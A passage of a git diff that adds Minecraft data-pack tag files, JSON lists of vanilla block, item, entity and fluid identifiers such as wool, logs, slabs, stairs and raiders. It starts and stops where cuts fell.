"minecraft:crimson_fence", + "minecraft:warped_fence" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_pressure_plates.json b/src/data/minecraft/tags/blocks/wooden_pressure_plates.json new file mode 100644 index 00000000..c80cf5c8 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_pressure_plates.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_pressure_plate", + "minecraft:spruce_pressure_plate", + "minecraft:birch_pressure_plate", + "minecraft:jungle_pressure_plate", + "minecraft:acacia_pressure_plate", + "minecraft:dark_oak_pressure_plate", + "minecraft:crimson_pressure_plate", + "minecraft:warped_pressure_plate" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_slabs.json b/src/data/minecraft/tags/blocks/wooden_slabs.json new file mode 100644 index 00000000..b3d1b0b5 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_slabs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_slab", + "minecraft:spruce_slab", + "minecraft:birch_slab", + "minecraft:jungle_slab", + "minecraft:acacia_slab", + "minecraft:dark_oak_slab", + "minecraft:crimson_slab", + "minecraft:warped_slab" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_stairs.json b/src/data/minecraft/tags/blocks/wooden_stairs.json new file mode 100644 index 00000000..ff30545e --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_stairs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_stairs", + "minecraft:spruce_stairs", + "minecraft:birch_stairs", + "minecraft:jungle_stairs", + "minecraft:acacia_stairs", + "minecraft:dark_oak_stairs", + "minecraft:crimson_stairs", + "minecraft:warped_stairs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_trapdoors.json b/src/data/minecraft/tags/blocks/wooden_trapdoors.json new file mode 100644 index 00000000..7368d84c --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_trapdoors.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:acacia_trapdoor", + "minecraft:birch_trapdoor", + "minecraft:dark_oak_trapdoor", + "minecraft:jungle_trapdoor", + "minecraft:oak_trapdoor", + "minecraft:spruce_trapdoor", + "minecraft:crimson_trapdoor", + "minecraft:warped_trapdoor" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wool.json b/src/data/minecraft/tags/blocks/wool.json new file mode 100644 index 00000000..c39732fc --- /dev/null +++ b/src/data/minecraft/tags/blocks/wool.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:white_wool", + "minecraft:orange_wool", + "minecraft:magenta_wool", + "minecraft:light_blue_wool", + "minecraft:yellow_wool", + "minecraft:lime_wool", + "minecraft:pink_wool", + "minecraft:gray_wool", + "minecraft:light_gray_wool", + "minecraft:cyan_wool", + "minecraft:purple_wool", + "minecraft:blue_wool", + "minecraft:brown_wool", + "minecraft:green_wool", + "minecraft:red_wool", + "minecraft:black_wool" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/entity_types/arrows.json b/src/data/minecraft/tags/entity_types/arrows.json new file mode 100644 index 00000000..df20f4b5 --- /dev/null +++ b/src/data/minecraft/tags/entity_types/arrows.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:arrow", + "minecraft:spectral_arrow" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/entity_types/beehive_inhabitors.json b/src/data/minecraft/tags/entity_types/beehive_inhabitors.json new file mode 100644 index 00000000..a9877047 --- /dev/null +++ b/src/data/minecraft/tags/entity_types/beehive_inhabitors.json @@ -0,0 +1,6 @@ +{ + "replace": false, + "values": [ + "minecraft:bee" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/entity_types/impact_projectiles.json b/src/data/minecraft/tags/entity_types/impact_projectiles.json new file mode 100644 index 00000000..7949d5a3 --- /dev/null +++ b/src/data/minecraft/tags/entity_types/impact_projectiles.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "#minecraft:arrows", + "minecraft:snowball", + "minecraft:fireball", + "minecraft:small_fireball", + "minecraft:egg", + "minecraft:trident", + "minecraft:dragon_fireball", + "minecraft:wither_skull" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/entity_types/raiders.json b/src/data/minecraft/tags/entity_types/raiders.json new file mode 100644 index 00000000..8eefee28 --- /dev/null +++ b/src/data/minecraft/tags/entity_types/raiders.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:evoker", + "minecraft:pillager", + "minecraft:ravager", + "minecraft:vindicator", + "minecraft:illusioner", + "minecraft:witch" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/entity_types/skeletons.json b/src/data/minecraft/tags/entity_types/skeletons.json new file mode 100644 index 00000000..27b34650 --- /dev/null +++ b/src/data/minecraft/tags/entity_types/skeletons.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:skeleton", + "minecraft:stray", + "minecraft:wither_skeleton" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/fluids/lava.json b/src/data/minecraft/tags/fluids/lava.json new file mode 100644 index 00000000..a21400bd --- /dev/null +++ b/src/data/minecraft/tags/fluids/lava.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:lava", + "minecraft:flowing_lava" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/fluids/water.json b/src/data/minecraft/tags/fluids/water.json new file mode 100644 index 00000000..75417261 --- /dev/null +++ b/src/data/minecraft/tags/fluids/water.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:water", + "minecraft:flowing_water" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/acacia_logs.json b/src/data/minecraft/tags/items/acacia_logs.json new file mode 100644 index 00000000..2aa36aea --- /dev/null +++ b/src/data/minecraft/tags/items/acacia_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:acacia_log", + "minecraft:acacia_wood", + "minecraft:stripped_acacia_log", + "minecraft:stripped_acacia_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/anvil.json b/src/data/minecraft/tags/items/anvil.json new file mode 100644 index 00000000..d69773e1 --- /dev/null +++ b/src/data/minecraft/tags/items/anvil.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:anvil", + "minecraft:chipped_anvil", + "minecraft:damaged_anvil" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/arrows.json b/src/data/minecraft/tags/items/arrows.json new file mode 100644 index 00000000..69ebb0d5 --- /dev/null +++ b/src/data/minecraft/tags/items/arrows.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:arrow", + "minecraft:tipped_arrow", + "minecraft:spectral_arrow" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/banners.json b/src/data/minecraft/tags/items/banners.json new file mode 100644 index 00000000..228a4e9e --- /dev/null +++ b/src/data/minecraft/tags/items/banners.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:white_banner", + "minecraft:orange_banner", + "minecraft:magenta_banner", + "minecraft:light_blue_banner", + "minecraft:yellow_banner", + "minecraft:lime_banner", + "minecraft:pink_banner", + "minecraft:gray_banner", + "minecraft:light_gray_banner", + "minecraft:cyan_banner", + "minecraft:purple_banner", + "minecraft:blue_banner", + "minecraft:brown_banner", + "minecraft:green_banner", + "minecraft:red_banner", + "minecraft:black_banner" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/beacon_payment_items.json b/src/data/minecraft/tags/items/beacon_payment_items.json new file mode 100644 index 00000000..a4c9649f --- /dev/null +++ b/src/data/minecraft/tags/items/beacon_payment_items.json @@ -0,0 +1,10 @@ +{ + "replace": false, + "values": [ + "minecraft:netherite_ingot", + "minecraft:emerald", + "minecraft:diamond", + "minecraft:gold_ingot", + "minecraft:iron_ingot" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/beds.json b/src/data/minecraft/tags/items/beds.json new file mode 100644 index 00000000..2e031f30 --- /dev/null +++ b/src/data/minecraft/tags/items/beds.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:red_bed", + "minecraft:black_bed", + "minecraft:blue_bed", + "minecraft:brown_bed", + "minecraft:cyan_bed", + "minecraft:gray_bed", + "minecraft:green_bed", + "minecraft:light_blue_bed", + "minecraft:light_gray_bed", + "minecraft:lime_bed", + "minecraft:magenta_bed", + "minecraft:orange_bed", + "minecraft:pink_bed", + "minecraft:purple_bed", + "minecraft:white_bed", + "minecraft:yellow_bed" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/birch_logs.json b/src/data/minecraft/tags/items/birch_logs.json new file mode 100644 index 00000000..7be61059 --- /dev/null +++ b/src/data/minecraft/tags/items/birch_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:birch_log", + "minecraft:birch_wood", + "minecraft:stripped_birch_log", + "minecraft:stripped_birch_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/boats.json b/src/data/minecraft/tags/items/boats.json new file mode 100644 index 00000000..03a21c61 --- /dev/null +++ b/src/data/minecraft/tags/items/boats.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_boat", + "minecraft:spruce_boat", + "minecraft:birch_boat", + "minecraft:jungle_boat", + "minecraft:acacia_boat", + "minecraft:dark_oak_boat" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/buttons.json b/src/data/minecraft/tags/items/buttons.json new file mode 100644 index 00000000..37433a79 --- /dev/null +++ b/src/data/minecraft/tags/items/buttons.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_buttons", + "minecraft:stone_button", + "minecraft:polished_blackstone_button" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/carpets.json b/src/data/minecraft/tags/items/carpets.json new file mode 100644 index 00000000..9b28b1fd --- /dev/null +++ b/src/data/minecraft/tags/items/carpets.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:white_carpet", + "minecraft:orange_carpet", + "minecraft:magenta_carpet", + "minecraft:light_blue_carpet", + "minecraft:yellow_carpet", + "minecraft:lime_carpet", + "minecraft:pink_carpet", + "minecraft:gray_carpet", + "minecraft:light_gray_carpet", + "minecraft:cyan_carpet", + "minecraft:purple_carpet", + "minecraft:blue_carpet", + "minecraft:brown_carpet", + "minecraft:green_carpet", + "minecraft:red_carpet", + "minecraft:black_carpet" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/coals.json b/src/data/minecraft/tags/items/coals.json new file mode 100644 index 00000000..e809f0b5 --- /dev/null +++ b/src/data/minecraft/tags/items/coals.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:coal", + "minecraft:charcoal" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/creeper_drop_music_discs.json b/src/data/minecraft/tags/items/creeper_drop_music_discs.json new file mode 100644 index 00000000..2809edff --- /dev/null +++ b/src/data/minecraft/tags/items/creeper_drop_music_discs.json @@ -0,0 +1,17 @@ +{ + "replace": false, + "values": [ + "minecraft:music_disc_13", + "minecraft:music_disc_cat", + "minecraft:music_disc_blocks", + "minecraft:music_disc_chirp", + "minecraft:music_disc_far", + "minecraft:music_disc_mall", + "minecraft:music_disc_mellohi", + "minecraft:music_disc_stal", + "minecraft:music_disc_strad", + "minecraft:music_disc_ward", + "minecraft:music_disc_11", + "minecraft:music_disc_wait" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/crimson_stems.json b/src/data/minecraft/tags/items/crimson_stems.json new file mode 100644 index 00000000..333772e8 --- /dev/null +++ b/src/data/minecraft/tags/items/crimson_stems.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:crimson_stem", + "minecraft:stripped_crimson_stem", + "minecraft:crimson_hyphae", + "minecraft:stripped_crimson_hyphae" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/dark_oak_logs.json b/src/data/minecraft/tags/items/dark_oak_logs.json new file mode 100644 index 00000000..e1e3e165 --- /dev/null +++ b/src/data/minecraft/tags/items/dark_oak_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:dark_oak_log", + "minecraft:dark_oak_wood", + "minecraft:stripped_dark_oak_log", + "minecraft:stripped_dark_oak_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/doors.json b/src/data/minecraft/tags/items/doors.json new file mode 100644 index 00000000..0f9fe980 --- /dev/null +++ b/src/data/minecraft/tags/items/doors.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_doors", + "minecraft:iron_door" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/fences.json b/src/data/minecraft/tags/items/fences.json new file mode 100644 index 00000000..0ef08473 --- /dev/null +++ b/src/data/minecraft/tags/items/fences.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_fences", + "minecraft:nether_brick_fence" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/fishes.json b/src/data/minecraft/tags/items/fishes.json new file mode 100644 index 00000000..4582fb0a --- /dev/null +++ b/src/data/minecraft/tags/items/fishes.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:cod", + "minecraft:cooked_cod", + "minecraft:salmon", + "minecraft:cooked_salmon", + "minecraft:pufferfish", + "minecraft:tropical_fish" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/flowers.json b/src/data/minecraft/tags/items/flowers.json new file mode 100644 index 00000000..9d1ba3a1 --- /dev/null +++ b/src/data/minecraft/tags/items/flowers.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:small_flowers", + "#minecraft:tall_flowers" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/gold_ores.json b/src/data/minecraft/tags/items/gold_ores.json new file mode 100644 index 00000000..ee9b150a --- /dev/null +++ b/src/data/minecraft/tags/items/gold_ores.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:gold_ore", + "minecraft:nether_gold_ore" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/jungle_logs.json b/src/data/minecraft/tags/items/jungle_logs.json new file mode 100644 index 00000000..ec51d638 --- /dev/null +++ b/src/data/minecraft/tags/items/jungle_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:jungle_log", + "minecraft:jungle_wood", + "minecraft:stripped_jungle_log", + "minecraft:stripped_jungle_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/leaves.json b/src/data/minecraft/tags/items/leaves.json new file mode 100644 index 00000000..036ec387 --- /dev/null +++ b/src/data/minecraft/tags/items/leaves.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:jungle_leaves", + "minecraft:oak_leaves", + "minecraft:spruce_leaves", + "minecraft:dark_oak_leaves", + "minecraft:acacia_leaves", + "minecraft:birch_leaves" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/lectern_books.json b/src/data/minecraft/tags/items/lectern_books.json new file mode 100644 index 00000000..83206529 --- /dev/null +++ b/src/data/minecraft/tags/items/lectern_books.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:written_book", + "minecraft:writable_book" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/logs.json b/src/data/minecraft/tags/items/logs.json new file mode 100644 index 00000000..a3d931c1 --- /dev/null +++ b/src/data/minecraft/tags/items/logs.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "#minecraft:logs_that_burn", + "#minecraft:crimson_stems", + "#minecraft:warped_stems" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/logs_that_burn.json b/src/data/minecraft/tags/items/logs_that_burn.json new file mode 100644 index 00000000..e5a8d0fc --- /dev/null +++ b/src/data/minecraft/tags/items/logs_that_burn.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "#minecraft:dark_oak_logs", + "#minecraft:oak_logs", + "#minecraft:acacia_logs", + "#minecraft:birch_logs", + "#minecraft:jungle_logs", + "#minecraft:spruce_logs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/music_discs.json b/src/data/minecraft/tags/items/music_discs.json new file mode 100644 index 00000000..ad7d80ab --- /dev/null +++ b/src/data/minecraft/tags/items/music_discs.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:creeper_drop_music_discs", + "minecraft:music_disc_pigstep" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/non_flammable_wood.json b/src/data/minecraft/tags/items/non_flammable_wood.json new file mode 100644 index 00000000..1ecb38a2 --- /dev/null +++ b/src/data/minecraft/tags/items/non_flammable_wood.json @@ -0,0 +1,33 @@ +{ + "replace": false, + "values": [ + "minecraft:warped_stem", + "minecraft:stripped_warped_stem", + "minecraft:warped_hyphae", + "minecraft:stripped_warped_hyphae", + "minecraft:crimson_stem", + "minecraft:stripped_crimson_stem", + "minecraft:crimson_hyphae", + "minecraft:stripped_crimson_hyphae", + "minecraft:crimson_planks", + "minecraft:warped_planks", + "minecraft:crimson_slab", + "minecraft:warped_slab", + "minecraft:crimson_pressure_plate", + "minecraft:warped_pressure_plate", + "minecraft:crimson_fence", + "minecraft:warped_fence", + "minecraft:crimson_trapdoor", + "minecraft:warped_trapdoor", + "minecraft:crimson_fence_gate", + "minecraft:warped_fence_gate", + "minecraft:crimson_stairs", + "minecraft:warped_stairs", + "minecraft:crimson_button", + "minecraft:warped_button", + "minecraft:crimson_door", + "minecraft:warped_door", + "minecraft:crimson_sign", + "minecraft:warped_sign" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/oak_logs.json b/src/data/minecraft/tags/items/oak_logs.json new file mode 100644 index 00000000..927086f6 --- /dev/null +++ b/src/data/minecraft/tags/items/oak_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_log", + "minecraft:oak_wood", + "minecraft:stripped_oak_log", + "minecraft:stripped_oak_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/piglin_loved.json b/src/data/minecraft/tags/items/piglin_loved.json new file mode 100644 index 00000000..619d44a5 --- /dev/null +++ b/src/data/minecraft/tags/items/piglin_loved.json @@ -0,0 +1,26 @@ +{ + "replace": false, + "values": [ + "#minecraft:gold_ores", + "minecraft:gold_block", + "minecraft:gilded_blackstone", + "minecraft:light_weighted_pressure_plate", + "minecraft:gold_ingot", + "minecraft:bell", + "minecraft:clock", + "minecraft:golden_carrot", + "minecraft:glistering_melon_slice", + "minecraft:golden_apple", + "minecraft:enchanted_golden_apple", + "minecraft:golden_helmet", + "minecraft:golden_chestplate", + "minecraft:golden_leggings", + "minecraft:golden_boots", + "minecraft:golden_horse_armor", + "minecraft:golden_sword", + "minecraft:golden_pickaxe", + "minecraft:golden_shovel", + "minecraft:golden_axe", + "minecraft:golden_hoe" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/piglin_repellents.json b/src/data/minecraft/tags/items/piglin_repellents.json new file mode 100644 index 00000000..4b9dacdc --- /dev/null +++ b/src/data/minecraft/tags/items/piglin_repellents.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:soul_torch", + "minecraft:soul_lantern", + "minecraft:soul_campfire" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/planks.json b/src/data/minecraft/tags/items/planks.json new file mode 100644 index 00000000..34ef51ff --- /dev/null +++ b/src/data/minecraft/tags/items/planks.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_planks", + "minecraft:spruce_planks", + "minecraft:birch_planks", + "minecraft:jungle_planks", + "minecraft:acacia_planks", + "minecraft:dark_oak_planks", + "minecraft:crimson_planks", + "minecraft:warped_planks" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/rails.json b/src/data/minecraft/tags/items/rails.json new file mode 100644 index 00000000..036ac7fc --- /dev/null +++ b/src/data/minecraft/tags/items/rails.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:rail", + "minecraft:powered_rail", + "minecraft:detector_rail", + "minecraft:activator_rail" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/sand.json b/src/data/minecraft/tags/items/sand.json new file mode 100644 index 00000000..fa7a9c4a --- /dev/null +++ b/src/data/minecraft/tags/items/sand.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:sand", + "minecraft:red_sand" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/saplings.json b/src/data/minecraft/tags/items/saplings.json new file mode 100644 index 00000000..04fe81f9 --- /dev/null +++ b/src/data/minecraft/tags/items/saplings.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_sapling", + "minecraft:spruce_sapling", + "minecraft:birch_sapling", + "minecraft:jungle_sapling", + "minecraft:acacia_sapling", + "minecraft:dark_oak_sapling" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/signs.json b/src/data/minecraft/tags/items/signs.json new file mode 100644 index 00000000..6b6500e5 --- /dev/null +++ b/src/data/minecraft/tags/items/signs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_sign", + "minecraft:spruce_sign", + "minecraft:birch_sign", + "minecraft:acacia_sign", + "minecraft:jungle_sign", + "minecraft:dark_oak_sign", + "minecraft:crimson_sign", + "minecraft:warped_sign" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/slabs.json b/src/data/minecraft/tags/items/slabs.json new file mode 100644 index 00000000..3dca479c --- /dev/null +++ b/src/data/minecraft/tags/items/slabs.json @@ -0,0 +1,38 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_slabs", + "minecraft:stone_slab", + "minecraft:smooth_stone_slab", + "minecraft:stone_brick_slab", + "minecraft:sandstone_slab", + "minecraft:purpur_slab", + "minecraft:quartz_slab", + "minecraft:red_sandstone_slab", + "minecraft:brick_slab", + "minecraft:cobblestone_slab", + "minecraft:nether_brick_slab", + "minecraft:petrified_oak_slab", + "minecraft:prismarine_slab", + "minecraft:prismarine_brick_slab", + "minecraft:dark_prismarine_slab", + "minecraft:polished_granite_slab", + "minecraft:smooth_red_sandstone_slab", + "minecraft:mossy_stone_brick_slab", + "minecraft:polished_diorite_slab", + "minecraft:mossy_cobblestone_slab", + "minecraft:end_stone_brick_slab", + "minecraft:smooth_sandstone_slab", + "minecraft:smooth_quartz_slab", + "minecraft:granite_slab", + "minecraft:andesite_slab", + "minecraft:red_nether_brick_slab", + "minecraft:polished_andesite_slab", + "minecraft:diorite_slab", + "minecraft:cut_sandstone_slab", + "minecraft:cut_red_sandstone_slab", + "minecraft:blackstone_slab", + "minecraft:polished_blackstone_brick_slab", + "minecraft:polished_blackstone_slab" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/small_flowers.json b/src/data/minecraft/tags/items/small_flowers.json new file mode 100644 index 00000000..395128a6 --- /dev/null +++ b/src/data/minecraft/tags/items/small_flowers.json @@ -0,0 +1,18 @@ +{ + "replace": false, + "values": [ + "minecraft:dandelion", + "minecraft:poppy", + "minecraft:blue_orchid", + "minecraft:allium", + "minecraft:azure_bluet", + "minecraft:red_tulip", + "minecraft:orange_tulip", + "minecraft:white_tulip", + "minecraft:pink_tulip", + "minecraft:oxeye_daisy", + "minecraft:cornflower", + "minecraft:lily_of_the_valley", + "minecraft:wither_rose" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/soul_fire_base_blocks.json b/src/data/minecraft/tags/items/soul_fire_base_blocks.json new file mode 100644 index 00000000..18c9c11a --- /dev/null +++ b/src/data/minecraft/tags/items/soul_fire_base_blocks.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:soul_sand", + "minecraft:soul_soil" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/spruce_logs.json b/src/data/minecraft/tags/items/spruce_logs.json new file mode 100644 index 00000000..87b5caf6 --- /dev/null +++ b/src/data/minecraft/tags/items/spruce_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:spruce_log", + "minecraft:spruce_wood", + "minecraft:stripped_spruce_log", + "minecraft:stripped_spruce_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/stairs.json b/src/data/minecraft/tags/items/stairs.json new file mode 100644 index 00000000..1c435365 --- /dev/null +++ b/src/data/minecraft/tags/items/stairs.json @@ -0,0 +1,34 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_stairs", + "minecraft:cobblestone_stairs", + "minecraft:sandstone_stairs", + "minecraft:nether_brick_stairs", + "minecraft:stone_brick_stairs", + "minecraft:brick_stairs", + "minecraft:purpur_stairs", + "minecraft:quartz_stairs", + "minecraft:red_sandstone_stairs", + "minecraft:prismarine_brick_stairs", + "minecraft:prismarine_stairs", + "minecraft:dark_prismarine_stairs", + "minecraft:polished_granite_stairs", + "minecraft:smooth_red_sandstone_stairs", + "minecraft:mossy_stone_brick_stairs", + "minecraft:polished_diorite_stairs", + "minecraft:mossy_cobblestone_stairs", + "minecraft:end_stone_brick_stairs", + "minecraft:stone_stairs", + "minecraft:smooth_sandstone_stairs", + "minecraft:smooth_quartz_stairs", + "minecraft:granite_stairs", + "minecraft:andesite_stairs", + "minecraft:red_nether_brick_stairs", + "minecraft:polished_andesite_stairs", + "minecraft:diorite_stairs", + "minecraft:blackstone_stairs", + "minecraft:polished_blackstone_brick_stairs", + "minecraft:polished_blackstone_stairs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/stone_bricks.json b/src/data/minecraft/tags/items/stone_bricks.json new file mode 100644 index 00000000..7cec36c5 --- /dev/null +++ b/src/data/minecraft/tags/items/stone_bricks.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:stone_bricks", + "minecraft:mossy_stone_bricks", + "minecraft:cracked_stone_bricks", + "minecraft:chiseled_stone_bricks" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/stone_crafting_materials.json b/src/data/minecraft/tags/items/stone_crafting_materials.json new file mode 100644 index 00000000..57649ed8 --- /dev/null +++ b/src/data/minecraft/tags/items/stone_crafting_materials.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:cobblestone", + "minecraft:blackstone" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/stone_tool_materials.json b/src/data/minecraft/tags/items/stone_tool_materials.json new file mode 100644 index 00000000..57649ed8 --- /dev/null +++ b/src/data/minecraft/tags/items/stone_tool_materials.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:cobblestone", + "minecraft:blackstone" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/tall_flowers.json b/src/data/minecraft/tags/items/tall_flowers.json new file mode 100644 index 00000000..681427ff --- /dev/null +++ b/src/data/minecraft/tags/items/tall_flowers.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:sunflower", + "minecraft:lilac", + "minecraft:peony", + "minecraft:rose_bush" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/trapdoors.json b/src/data/minecraft/tags/items/trapdoors.json new file mode 100644 index 00000000..d9625857 --- /dev/null +++ b/src/data/minecraft/tags/items/trapdoors.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_trapdoors", + "minecraft:iron_trapdoor" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/walls.json b/src/data/minecraft/tags/items/walls.json new file mode 100644 index 00000000..2f0ae281 --- /dev/null +++ b/src/data/minecraft/tags/items/walls.json @@ -0,0 +1,22 @@ +{ + "replace": false, + "values": [ + "minecraft:cobblestone_wall", + "minecraft:mossy_cobblestone_wall", + "minecraft:brick_wall", + "minecraft:prismarine_wall", + "minecraft:red_sandstone_wall", + "minecraft:mossy_stone_brick_wall", + "minecraft:granite_wall", + "minecraft:stone_brick_wall", + "minecraft:nether_brick_wall", + "minecraft:andesite_wall", + "minecraft:red_nether_brick_wall", + "minecraft:sandstone_wall", + "minecraft:end_stone_brick_wall", + "minecraft:diorite_wall", + "minecraft:blackstone_wall", + "minecraft:polished_blackstone_brick_wall", + "minecraft:polished_blackstone_wall" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/warped_stems.json b/src/data/minecraft/tags/items/warped_stems.json new file mode 100644 index 00000000..4174cdbf --- /dev/null +++ b/src/data/minecraft/tags/items/warped_stems.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:warped_stem", + "minecraft:stripped_warped_stem", + "minecraft:warped_hyphae", + "minecraft:stripped_warped_hyphae" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wooden_buttons.json b/src/data/minecraft/tags/items/wooden_buttons.json new file mode 100644 index 00000000..27515915 --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_buttons.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_button", + "minecraft:spruce_button", + "minecraft:birch_button", + "minecraft:jungle_button", + "minecraft:acacia_button", + "minecraft:dark_oak_button", + "minecraft:crimson_button", + "minecraft:warped_button" + ] +} \ No newline at end of file diff --git 